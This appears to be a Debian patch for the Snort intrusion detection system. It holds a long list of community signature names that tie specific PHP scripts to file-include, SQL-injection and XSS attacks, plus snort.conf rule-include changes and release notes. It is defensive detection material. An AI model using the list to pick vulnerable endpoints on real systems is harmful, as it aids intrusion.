+100000705 || COMMUNITY WEB-PHP SmartSiteCMS test.php remote file include || bugtraq,18697
+100000706 || COMMUNITY WEB-PHP SmartSiteCMS index.php remote file include || bugtraq,18697
+100000707 || COMMUNITY WEB-PHP SmartSiteCMS inc_adminfoot.php remote file include || bugtraq,18697
+100000708 || COMMUNITY WEB-PHP SmartSiteCMS comedit.php remote file include || bugtraq,18697
+100000709 || COMMUNITY WEB-PHP SquirrelMail search.php xss attempt || bugtraq,18700
+100000710 || COMMUNITY WEB-PHP Xoops MyAds Module annonces-p-f.php SQL injection attempt || bugtraq,18718
+100000711 || COMMUNITY WEB-PHP PHPRaid raids.php remote file include || bugtraq,18719
+100000712 || COMMUNITY WEB-PHP PHPRaid register.php remote file include || bugtraq,18719
+100000713 || COMMUNITY WEB-PHP PHPRaid roster.php remote file include || bugtraq,18719
+100000714 || COMMUNITY WEB-PHP PHPRaid view.php remote file include || bugtraq,18719
+100000715 || COMMUNITY WEB-PHP PHPRaid logs.php remote file include || bugtraq,18719
+100000716 || COMMUNITY WEB-PHP PHPRaid users.php remote file include || bugtraq,18719
+100000717 || COMMUNITY WEB-PHP PHPRaid configuration.php remote file include || bugtraq,18719
+100000718 || COMMUNITY WEB-PHP PHPRaid guilds.php remote file include || bugtraq,18719
+100000719 || COMMUNITY WEB-PHP PHPRaid index.php remote file include || bugtraq,18719
+100000720 || COMMUNITY WEB-PHP PHPRaid locations.php remote file include || bugtraq,18719
+100000721 || COMMUNITY WEB-PHP PHPRaid login.php remote file include || bugtraq,18719
+100000722 || COMMUNITY WEB-PHP PHPRaid lua_output.php remote file include || bugtraq,18719
+100000723 || COMMUNITY WEB-PHP PHPRaid permissions.php remote file include || bugtraq,18719
+100000724 || COMMUNITY WEB-PHP PHPRaid profile.php remote file include || bugtraq,18719
+100000725 || COMMUNITY WEB-PHP PHPRaid view.php SQL injection attempt || bugtraq,18720
+100000726 || COMMUNITY WEB-PHP Vincent-Leclercq News diver.php SQL injection attempt || bugtraq,18729
+100000727 || COMMUNITY WEB-PHP Softbiz Banner Exchange insertmember.php xss attempt || bugtraq,18735
+100000728 || COMMUNITY WEB-PHP Geeklog functions.inc remote file include || bugtraq,18740
+100000729 || COMMUNITY WEB-PHP Geeklog functions.inc remote file include || bugtraq,18740
+100000730 || COMMUNITY WEB-PHP Geeklog BlackList.Examine.class.php remote file include || bugtraq,18740
+100000731 || COMMUNITY WEB-PHP Geeklog DeleteComment.Action.class.php remote file include || bugtraq,18740
+100000732 || COMMUNITY WEB-PHP Geeklog EditIPofURL.Admin.class.php remote file include || bugtraq,18740
+100000733 || COMMUNITY WEB-PHP Geeklog MTBlackList.Examine.class.php remote file include || bugtraq,18740
+100000734 || COMMUNITY WEB-PHP Geeklog MassDelete.Admin.class.php remote file include || bugtraq,18740
+100000735 || COMMUNITY WEB-PHP Geeklog MailAdmin.Action.class.php remote file include || bugtraq,18740
+100000736 || COMMUNITY WEB-PHP Geeklog MassDelTrackback.Admin.class.php remote file include || bugtraq,18740
+100000737 || COMMUNITY WEB-PHP Geeklog EditHeader.Admin.class.php remote file include || bugtraq,18740
+100000738 || COMMUNITY WEB-PHP Geeklog EditIP.Admin.class.php remote file include || bugtraq,18740
+100000739 || COMMUNITY WEB-PHP Geeklog IPofUrl.Examine.class.php remote file include || bugtraq,18740
+100000740 || COMMUNITY WEB-PHP Geeklog Import.Admin.class.php remote file include || bugtraq,18740
+100000741 || COMMUNITY WEB-PHP Geeklog LogView.Admin.class.php remote file include || bugtraq,18740
+100000742 || COMMUNITY WEB-PHP Geeklog functions.inc remote file include || bugtraq,18740
+100000743 || COMMUNITY WEB-PHP Plume CMS dbinstall.php remote file include || bugtraq,18750
+100000744 || COMMUNITY WEB-PHP MyNewsGroups tree.php SQL injection attempt || bugtraq,18757
+100000745 || COMMUNITY WEB-PHP Diesel Joke Site category.php SQL injection attempt || bugtraq,18760
+100000746 || COMMUNITY WEB-PHP Randshop header.inc.php remote file include || bugtraq,18763
+100000747 || COMMUNITY WEB-PHP Plume CMS index.php remote file include || bugtraq,18780
+100000748 || COMMUNITY WEB-PHP Plume CMS rss.php remote file include || bugtraq,18780
+100000749 || COMMUNITY WEB-PHP Plume CMS search.php remote file include || bugtraq,18780
+100000750 || COMMUNITY WEB-PHP Free QBoard index.php remote file include || bugtraq,18788
+100000751 || COMMUNITY WEB-PHP Free QBoard about.php remote file include || bugtraq,18788
+100000752 || COMMUNITY WEB-PHP Free QBoard contact.php remote file include || bugtraq,18788
+100000753 || COMMUNITY WEB-PHP Free QBoard delete.php remote file include || bugtraq,18788
+100000754 || COMMUNITY WEB-PHP Free QBoard faq.php remote file include || bugtraq,18788
+100000755 || COMMUNITY WEB-PHP Free QBoard features.php remote file include || bugtraq,18788
+100000756 || COMMUNITY WEB-PHP Free QBoard history.php remote file include || bugtraq,18788
+100000757 || COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt || bugtraq,18791
+100000758 || COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt || bugtraq,18791
+100000759 || COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt || bugtraq,18791
+100000760 || COMMUNITY WEB-PHP The Banner Engine top.php xss attempt || bugtraq,18793
+100000761 || COMMUNITY WEB-PHP PHPWebGallery comments.php xss attempt || bugtraq,18798
+100000762 || COMMUNITY WEB-PHP Randshop index.php remote file include || bugtraq,18809
+100000763 || COMMUNITY WEB-PHP Kamikaze-QSCM config.inc access || bugtraq,18816
+100000764 || COMMUNITY WEB-PHP MyPHP CMS global_header.php remote file include || bugtraq,18834
+100000765 || COMMUNITY WEB-PHP LifeType index.php SQL injection attempt || bugtraq,18835
+100000766 || COMMUNITY WEB-PHP Blog CMS thumb.php remote file include || bugtraq,18837
+100000767 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000768 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000769 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000770 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000771 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000772 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000773 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000774 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000775 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000776 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000777 || COMMUNITY WEB-PHP Blog CMS action.php SQL injection attempt || bugtraq,18839
+100000778 || COMMUNITY WEB-PHP PHPMailList maillist.php xss attempt || bugtraq,18840
+100000779 || COMMUNITY WEB-PHP Horde index.php xss attempt || bugtraq,18845
+100000780 || COMMUNITY WEB-PHP Horde problem.php xss attempt || bugtraq,18845
+100000781 || COMMUNITY WEB-PHP Horde go.php xss attempt || bugtraq,18845
+100000782 || COMMUNITY WEB-PHP Horde go.php xss attempt || bugtraq,18845
+100000783 || COMMUNITY WEB-PHP ATutor create_course.php xss attempt || bugtraq,18857
+100000784 || COMMUNITY WEB-PHP ATutor create_course.php xss attempt || bugtraq,18857
+100000785 || COMMUNITY WEB-PHP ATutor password_reminder.php xss attempt || bugtraq,18857
+100000786 || COMMUNITY WEB-PHP ATutor browse.php xss attempt || bugtraq,18857
+100000787 || COMMUNITY WEB-PHP ATutor fix_content.php xss attempt || bugtraq,18857
+100000788 || COMMUNITY WEB-PHP FreeWebshop search.php xss attempt || bugtraq,18878
+100000789 || COMMUNITY WEB-PHP FreeWebshop details.php SQL injection attempt || bugtraq,18878
+100000790 || COMMUNITY WEB-PHP Pivot edit_new.php remote file include || bugtraq,18881
+100000791 || COMMUNITY WEB-PHP Pivot pv_core.php access || bugtraq,18881
+100000792 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000793 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000794 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000795 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000796 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000797 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000798 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000799 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000800 || COMMUNITY WEB-PHP Pivot editor_menu.php xss attempt || bugtraq,18881
+100000801 || COMMUNITY WEB-PHP Pivot editor_menu.php xss attempt || bugtraq,18881
+100000802 || COMMUNITY WEB-PHP BosClassifieds index.php remote file include || bugtraq,18883
+100000803 || COMMUNITY WEB-PHP BosClassifieds recent.php remote file include || bugtraq,18883
+100000804 || COMMUNITY WEB-PHP BosClassifieds account.php remote file include || bugtraq,18883
+100000805 || COMMUNITY WEB-PHP BosClassifieds classified.php remote file include || bugtraq,18883
+100000806 || COMMUNITY WEB-PHP BosClassifieds search.php remote file include || bugtraq,18883
+100000807 || COMMUNITY WEB-PHP CommonSense search.php SQL injection attempt || bugtraq,18893
+100000808 || COMMUNITY WEB-PHP AjaxPortal ajaxp.php SQL injection attempt || bugtraq,18897
+100000809 || COMMUNITY WEB-PHP RW Download stats.php remote file include || bugtraq,18901
+100000810 || COMMUNITY WEB-PHP PHPBB download.php remote file include || bugtraq,18914
+100000811 || COMMUNITY WEB-PHP PHPBB attach_rules.php remote file include || bugtraq,18914
+100000812 || COMMUNITY WEB-PHP SimpleBoard SBP index.php remote file include || bugtraq,18917
+100000813 || COMMUNITY WEB-PHP SimpleBoard SBP file_upload.php remote file include || bugtraq,18917
+100000814 || COMMUNITY WEB-PHP SimpleBoard SBP image_upload.php remote file include || bugtraq,18917
+100000815 || COMMUNITY WEB-PHP SimpleBoard SBP performs.php remote file include || bugtraq,18917
+100000816 || COMMUNITY WEB-PHP PC_CookBook pccookbook.php remote file include || bugtraq,18919
+100000817 || COMMUNITY WEB-PHP SMF Forum smf.php remote file include || bugtraq,18924
+100000818 || COMMUNITY WEB-PHP Graffiti Forums topics.php SQL injection attempt || bugtraq,18928
+100000819 || COMMUNITY DELETED PhpWebGallery XSS attempt
+100000820 || COMMUNITY WEB-PHP SaPHPLesson add.php SQL injection attempt || bugtraq,18934
+100000821 || COMMUNITY WEB-PHP VBZooM sub-join.php SQL injection attempt || bugtraq,18937
+100000822 || COMMUNITY WEB-PHP VBZooM reply.php SQL injection attempt || bugtraq,18937
+100000823 || COMMUNITY WEB-PHP VBZooM ignore-pm.php SQL injection attempt || bugtraq,18937
+100000824 || COMMUNITY WEB-PHP VBZooM sendmail.php SQL injection attempt || bugtraq,18937
+100000825 || COMMUNITY WEB-PHP Phorum posting.php xss attempt || bugtraq,18941
+100000826 || COMMUNITY WEB-PHP Phorum search.php SQL injection attempt || bugtraq,18941
+100000827 || COMMUNITY WEB-PHP HiveMail address.view.php xss attempt || bugtraq,18949
+100000828 || COMMUNITY WEB-PHP HiveMail address.view.php xss attempt || bugtraq,18949
+100000829 || COMMUNITY WEB-PHP HiveMail address.view.php xss attempt || bugtraq,18949
+100000830 || COMMUNITY WEB-PHP HiveMail index.php xss attempt || bugtraq,18949
+100000831 || COMMUNITY WEB-PHP HiveMail compose.email.php xss attempt || bugtraq,18949
+100000832 || COMMUNITY WEB-PHP HiveMail read.markas.php xss attempt || bugtraq,18949
+100000833 || COMMUNITY WEB-PHP HiveMail search.results.php SQL injection attempt || bugtraq,18949
+100000834 || COMMUNITY WEB-PHP Lazarus codes-english.php xss attempt || bugtraq,18956
+100000835 || COMMUNITY WEB-PHP Lazarus picture.php xss attempt || bugtraq,18956
+100000836 || COMMUNITY WEB-PHP MiniBB com_minibb.php remote file include || bugtraq,18998
+100000837 || COMMUNITY WEB-PHP MiniBB index.php remote file include || bugtraq,18998
+100000838 || COMMUNITY WEB-PHP PhotoCycle photocycle.php xss attempt || bugtraq,18964
+100000839 || COMMUNITY WEB-PHP PHP Event Calendar calendar.php remote file include || bugtraq,18965
+100000840 || COMMUNITY WEB-PHP FlatNuke index.php remote file include || bugtraq,18966
+100000841 || COMMUNITY WEB-PHP PerForms performs.php remote file include || bugtraq,18968
+100000842 || COMMUNITY WEB-PHP PHPBB 3 memberlist.php SQL injection attempt || bugtraq,18969
+100000843 || COMMUNITY WEB-PHP Koobi Pro index.php xss attempt || bugtraq,18970
+100000844 || COMMUNITY WEB-PHP Koobi Pro index.php SQL injection attempt || bugtraq,18970
+100000845 || COMMUNITY WEB-PHP Invision Power Board ipsclass.php SQL injection attempt || bugtraq,18984
+100000846 || COMMUNITY WEB-PHP Subberz Lite user-func.php remote file include || bugtraq,18990
+100000847 || COMMUNITY WEB-PHP Sitemap sitemap.xml.php remote file include || bugtraq,18991
+100000848 || COMMUNITY DELETED PhpWebGallery XSS attempt || bugtraq,18798
+100000849 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000850 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000851 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000852 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000853 || COMMUNITY WEB-PHP IceWarp settings.html remote file include || bugtraq,19007
+100000854 || COMMUNITY WEB-PHP ListMessenger listmessenger.php remote file include || bugtraq,19014
+100000855 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000856 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000857 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000858 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000859 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000860 || COMMUNITY WEB-PHP Francisco Charrua Photo-Gallery room.php SQL injection attempt || bugtraq,19020
+100000861 || COMMUNITY WEB-PHP FlushCMS class.rich.php remote file include || bugtraq,19023
+100000862 || COMMUNITY WEB-PHP FlushCMS class.rich.php remote file include || bugtraq,19023
+100000863 || COMMUNITY WEB-PHP PHPMyRing view_com.php SQL injection attempt || url,secunia.com/advisories/21451/
+100000864 || COMMUNITY WEB-CLIENT tsuserex.dll COM Object Instantiation Vulnerability || url,www.xsec.org/index.php?module=Releases&act=view&type=1&id=14
+100000865 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s01 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000866 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s02 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000867 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s03 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000868 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s04 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000869 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit sid variant || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000870 || COMMUNITY WEB-PHP powergap remote file inclusion exploit sid variant 2 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000871 || COMMUNITY WEB-PHP CubeCart XSS attack || url,retrogod.altervista.org/cubecart_3011_adv.html
+100000872 || COMMUNITY WEB-PHP CubeCart XSS attack || url,retrogod.altervista.org/cubecart_3011_adv.html
+100000873 || COMMUNITY WEB-PHP discloser 0.0.4 Remote File Inclusion
+100000874 || COMMUNITY MISC DLR-TOR Directory server response || url,tor.eff.org
+100000875 || COMMUNITY MISC DLR-TOR Client Traffic || url,tor.eff.org
+100000876 || COMMUNITY MISC Google Talk Version Check
+100000877 || COMMUNITY MISC Google Talk Startup
+100000878 || COMMUNITY WEB-CGI Roller Weblog XSS exploit || bugtraq,20045
+100000879 || COMMUNITY WEB-CGI Roller Weblog XSS exploit || bugtraq,20045
+100000880 || COMMUNITY WEB-CGI Roller Weblog XSS exploit || bugtraq,20045
+100000881 || COMMUNITY WEB-CLIENT ImageMagick SGI ZSIZE Header Information Overflow Attempt || bugtraq,19507 || cve,2006-4144
+100000882 || COMMUNITY WEB-PHP PHP Live Helper globals.php remote file include || bugtraq,19349
+100000883 || COMMUNITY WEB-PHP Inlink remote file inclusion exploit || url,milw0rm.com/exploits/2295
+100000884 || COMMUNITY WEB-MISC SimpleBlog Remote SQL Injection attempt || url,milw0rm.com/exploits/2296
+100000885 || COMMUNITY WEB-PHP pHNews access attempt || url,milw0rm.com/exploits/2298
+100000886 || COMMUNITY WEB-PHP Proxima access attempt || url,milw0rm.com/exploits/2299
+100000887 || COMMUNITY WEB-PHP pmwiki exploit attempt || url,milw0rm.com/exploits/2291
+100000888 || COMMUNITY WEB-PHP tikiwiki exploit attempt || url,milw0rm.com/exploits/2288
+100000889 || COMMUNITY WEB-PHP yappa-ng exploit attempt || url,milw0rm.com/exploits/2292
+100000890 || COMMUNITY WEB-MISC Webmin null char attempt || bugtraq,19820 || nessus,22300
+100000891 || COMMUNITY WEB-MISC Usermin null char attempt || bugtraq,19820 || nessus,22300
+100000892 || COMMUNITY MISC Q.931 Invalid Call Reference Length Buffer Overflow || url,www.ethereal.com/news/item_20050504_01.html || url,www.elook.org/internet/126.html
+100000893 || COMMUNITY POLICY Weather Channel Desktop App Installer
+100000894 || COMMUNITY POLICY Weather Channel Desktop App
+100000895 || COMMUNITY WEB-MISC Blojsom Weblog blog-category-description xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000896 || COMMUNITY WEB-MISC Blojsom Weblog blog-entry-title xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000897 || COMMUNITY WEB-MISC Blojsom Weblog rss-enclosure-url xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000898 || COMMUNITY WEB-MISC Blojsom Weblog technorati-tags xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000899 || COMMUNITY WEB-MISC Blojsom Weblog blog-category-name xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000900 || COMMUNITY BOT Mytob IRC DCC file transfer request || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000901 || COMMUNITY BOT Mytob IRC DCC chat request || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000902 || COMMUNITY BOT Mytob IRC channel join || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000903 || COMMUNITY BOT Mytob IRC dns request || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000904 || COMMUNITY BOT Mytob IRC dns response || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000905 || COMMUNITY BOT Mytob IRC nick change || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000906 || COMMUNITY WEB-PHP UBB.threads remote file include
+100000907 || COMMUNITY WEB-PHP phpMyWebmin change_preferences2 script remote file include || url,www.securityfocus.com/bid/20281/info
+100000908 || COMMUNITY WEB-PHP phpMyWebmin create_file script remote file include || url,www.securityfocus.com/bid/20281/info
+100000909 || COMMUNITY WEB-PHP phpMyWebmin upload_local script remote file include || url,www.securityfocus.com/bid/20281/info
+100000910 || COMMUNITY WEB-PHP phpMyWebmin upload_multi script remote file include || url,www.securityfocus.com/bid/20281/info
+100000911 || COMMUNITY WEB-PHP Dayfox Blog adminlog.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000912 || COMMUNITY WEB-PHP Dayfox Blog postblog.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000913 || COMMUNITY WEB-PHP Dayfox Blog index.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000914 || COMMUNITY WEB-PHP Dayfox Blog index2.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000915 || COMMUNITY WEB-PHP Somery Include.php remote file include || bugtraq,19912
+100000916 || COMMUNITY WEB-PHP MyBulletinBoard Functions_Post.php xss attempt || bugtraq,19770
+100000917 || COMMUNITY WEB-PHP PHP-Dimension functions_kb.php remote file include attempt || bugtraq,20367
+100000918 || COMMUNITY WEB-PHP PHP-Dimension themen_portal_mitte.php remote include attempt || bugtraq,20367
+100000919 || COMMUNITY WEB-PHP Segue CMS themesettings.inc.php remote file include attempt || bugtraq,20640 || cve,2006-5497 || url,osvdb.org/29904 || nessus,22922 || url,www.milw0rm.com/exploits/2600
+100000920 || COMMUNITY WEB-PHP MiniBB bb_func_txt.php pathToFiles variable remote file include || bugtraq,20757 || url,osvdb.org/29971 || nessus,22926
+100000921 || COMMUNITY WEB-PHP PunBB register.php language variable remote file include || bugtraq,20786 || cve,2006-5735 || url,osvdb.org/30132 || nessus,22932
+100000922 || COMMUNITY WEB-PHP Etomite CMS index.php id variable SQL injection || bugtraq,21135 || url,osvdb.org/30442 || url,secunia.com/advisories/22885
+100000923 || COMMUNITY DOS Single-Byte UDP Flood
+100000924 || COMMUNITY POLICY Google SafeSearch off
+100000925 || COMMUNITY-WEB-PHP ADP Forum Attempted Password Recon || url,www.milw0rm.com/exploits/3053
+100000926 || COMMUNITY-WEB-PHP EasyNews PRO News Attempted Password Recon || url,www.milw0rm.com/exploits/3039
+100000927 || COMMUNITY MISC Microsoft Messenger phishing attempt - corrupted registry || url,www.microsoft.com/windowsxp/using/security/learnmore/stopspam.mspx
+100000928 || COMMUNITY EXPLOIT LANDesk Management Suite Alerting Service buffer overflow || bugtraq,23483 || cve,2007-1674
+100000929 || COMMUNITY WEB-PHP Xoops module Articles SQL Injection Exploit || url,www.securityfocus.com/archive/1/463916
+100000930 || COMMUNITY WEB-PHP Drake CMS 404.php Local File Include Vulnerability || bugtraq,23215
+100000931 || COMMUNITY WEB-PHP Softerra Time-Assistant remote include attempt || bugtraq,23203
+100000932 || COMMUNITY WEB-PHP Softerra Time-Assistant remote include attempt || bugtraq,23203
+100000933 || COMMUNITY WEB-PHP Aardvark button/settings_sql.php File Include Vulnerability || url,securityfocus.com/archive/1/464351
+100000934 || COMMUNITY WEB-PHP Aardvark button/new_day.php File Include Vulnerability || url,securityfocus.com/archive/1/464351
--- snort-2.8.5.2.orig/etc/snort.conf
+++ snort-2.8.5.2/etc/snort.conf
@@ -51,6 +51,7 @@
 
 # Set up the external network addresses as well.  A good start may be "any"
 var EXTERNAL_NET any
+#var EXTERNAL_NET !$HOME_NET
 
 # Configure your server lists.  This allows snort to only look for attacks to
 # systems that have a service up.  Why look for HTTP attacks if you are not
@@ -117,8 +118,8 @@
 # Path to your rules files (this can be a relative path)
 # Note for Windows users:  You are advised to make this an absolute path,
 # such as:  c:\snort\rules
-var RULE_PATH ../rules
-var PREPROC_RULE_PATH ../preproc_rules
+var RULE_PATH /etc/snort/rules
+var PREPROC_RULE_PATH /etc/snort/preproc_rules
 
 # Configure the snort decoder
 # ============================
@@ -201,27 +202,27 @@
 # Load all dynamic preprocessors from the install path
 # (same as command line option --dynamic-preprocessor-lib-dir)
 #
-dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor/
+dynamicpreprocessor directory /usr/lib/snort_dynamicpreprocessor/
 #
 # Load a specific dynamic preprocessor library from the install path
 # (same as command line option --dynamic-preprocessor-lib)
 #
-# dynamicpreprocessor file /usr/local/lib/snort_dynamicpreprocessor/libdynamicexample.so
+# dynamicpreprocessor file /usr/lib/snort_dynamicpreprocessor/libdynamicexample.so
 #
 # Load a dynamic engine from the install path
 # (same as command line option --dynamic-engine-lib)
 #
-dynamicengine /usr/local/lib/snort_dynamicengine/libsf_engine.so
+dynamicengine /usr/lib/snort_dynamicengine/libsf_engine.so
 #
 # Load all dynamic rules libraries from the install path
 # (same as command line option --dynamic-detection-lib-dir)
 #
-# dynamicdetection directory /usr/local/lib/snort_dynamicrule/
+# dynamicdetection directory /usr/lib/snort_dynamicrule/
 #
 # Load a specific dynamic rule library from the install path
 # (same as command line option --dynamic-detection-lib)
 #
-# dynamicdetection file /usr/local/lib/snort_dynamicrule/libdynamicexamplerule.so
+# dynamicdetection file /usr/lib/snort_dynamicrule/libdynamicexamplerule.so
 #
 
 ###################################################
@@ -301,7 +302,9 @@
 # Example config
 preprocessor stream5_global: max_tcp 8192, track_tcp yes, \
                               track_udp no
-preprocessor stream5_tcp: policy first, use_static_footprint_sizes
+preprocessor stream5_tcp: policy first
+# Not recommended in production systems
+# preprocessor stream5_tcp: policy first, use_static_footprint_sizes
 # preprocessor stream5_udp: ignore_any_rules
 
 
@@ -686,7 +689,7 @@
 # -------------------------------------------------
 # The only argument is the output file name.
 #
-# output log_tcpdump: tcpdump.log
+output log_tcpdump: tcpdump.log
 
 # database: log to a variety of databases
 # ---------------------------------------
@@ -698,6 +701,17 @@
 # output database: log, odbc, user=snort dbname=snort
 # output database: log, mssql, dbname=snort user=snort password=test
 # output database: log, oracle, dbname=snort user=snort password=test
+# <debian>
+# Keep your paws off of these (#DBSTART#) and (#DBEND#) tokens
+# or you *will* break the configure process (snort-pgsql/snort-mysql only)
+# Anything you put between them will be removed on (re)configure.
+#
+# (#DBSTART#)
+# (#DBEND#)
+#
+# </debian>
+#
+
 
 # unified: Snort unified binary format alerting and logging
 # -------------------------------------------------------------
@@ -818,6 +832,7 @@
 include $RULE_PATH/local.rules
 include $RULE_PATH/bad-traffic.rules
 include $RULE_PATH/exploit.rules
+include $RULE_PATH/community-exploit.rules
 include $RULE_PATH/scan.rules
 include $RULE_PATH/finger.rules
 include $RULE_PATH/ftp.rules
@@ -825,10 +840,12 @@
 include $RULE_PATH/rpc.rules
 include $RULE_PATH/rservices.rules
 include $RULE_PATH/dos.rules
+include $RULE_PATH/community-dos.rules
 include $RULE_PATH/ddos.rules
 include $RULE_PATH/dns.rules
 include $RULE_PATH/tftp.rules
 
+# Specific web server rules:
 include $RULE_PATH/web-cgi.rules
 include $RULE_PATH/web-coldfusion.rules
 include $RULE_PATH/web-iis.rules
@@ -836,7 +853,14 @@
 include $RULE_PATH/web-misc.rules
 include $RULE_PATH/web-client.rules
 include $RULE_PATH/web-php.rules
+include $RULE_PATH/community-sql-injection.rules
+include $RULE_PATH/community-web-client.rules
+include $RULE_PATH/community-web-dos.rules
+include $RULE_PATH/community-web-iis.rules
+include $RULE_PATH/community-web-misc.rules
+include $RULE_PATH/community-web-php.rules
 
+# Rules for other services:
 include $RULE_PATH/sql.rules
 include $RULE_PATH/x11.rules
 include $RULE_PATH/icmp.rules
@@ -844,29 +868,50 @@
 include $RULE_PATH/misc.rules
 include $RULE_PATH/attack-responses.rules
 include $RULE_PATH/oracle.rules
+include $RULE_PATH/community-oracle.rules
 include $RULE_PATH/mysql.rules
 include $RULE_PATH/snmp.rules
-
+include $RULE_PATH/community-ftp.rules
 include $RULE_PATH/smtp.rules
+include $RULE_PATH/community-smtp.rules
 include $RULE_PATH/imap.rules
+include $RULE_PATH/community-imap.rules
 include $RULE_PATH/pop2.rules
 include $RULE_PATH/pop3.rules
 
 include $RULE_PATH/nntp.rules
+include $RULE_PATH/community-nntp.rules
+include $RULE_PATH/community-sip.rules
 include $RULE_PATH/other-ids.rules
-# include $RULE_PATH/web-attacks.rules
-# include $RULE_PATH/backdoor.rules
+
+# Attack-in-progress rules:
+include $RULE_PATH/web-attacks.rules
+include $RULE_PATH/backdoor.rules
+include $RULE_PATH/community-bot.rules
+include $RULE_PATH/community-virus.rules
+# This ruleset is almost useless currently:
+# include $RULE_PATH/virus.rules
+# Note: this rule is extremely chatty, enable with care
 # include $RULE_PATH/shellcode.rules
+
+# Policy related rules:
 # include $RULE_PATH/policy.rules
+# include $RULE_PATH/community-policy.rules
 # include $RULE_PATH/porn.rules
-# include $RULE_PATH/info.rules
-# include $RULE_PATH/icmp-info.rules
-# include $RULE_PATH/virus.rules
+# include $RULE_PATH/community-inappropriate.rules
 # include $RULE_PATH/chat.rules
 # include $RULE_PATH/multimedia.rules
 # include $RULE_PATH/p2p.rules
-# include $RULE_PATH/spyware-put.rules
-# include $RULE_PATH/specific-threats.rules
+# include $RULE_PATH/community-game.rules
+# include $RULE_PATH/community-misc.rules
+
+# Extremely chatty rules:
+# include $RULE_PATH/info.rules
+# include $RULE_PATH/icmp-info.rules
+# include $RULE_PATH/community-icmp.rules
+
+# Experimental rules: 
+# NOTICE: this is currently empty
 include $RULE_PATH/experimental.rules
 
 # include $PREPROC_RULE_PATH/preprocessor.rules
--- snort-2.8.5.2.orig/doc/RELEASE.NOTES.2.4
+++ snort-2.8.5.2/doc/RELEASE.NOTES.2.4
@@ -0,0 +1,138 @@
+2006-06-05 - Snort 2.4.5 Released
+    * Fixed potential evasion in URI content buffers
+    * Fixed potential evasion in Stream4
+
+2006-03-08 - Snort 2.4.4 Released
+[*] Improvements
+    * Fixed ip options handling in Frag3.
+    * Fixed bug in Wu-Manbher implementation regarding multiple
+      recurring patterns.
+    * Fixed a config file parsing bug which required DNS resolution
+      in certain circumstances.
+    * Updated perfmonitor to properly handle wraps on 64 bit platforms.
+    * Fixed crash in portscan related to bogus data in sfxhash.
+    * Fixed memory leak in Frag3.
+    * Allow use of 0 as a value to -G.
+
+2005-10-17 - Snort 2.4.3 Released
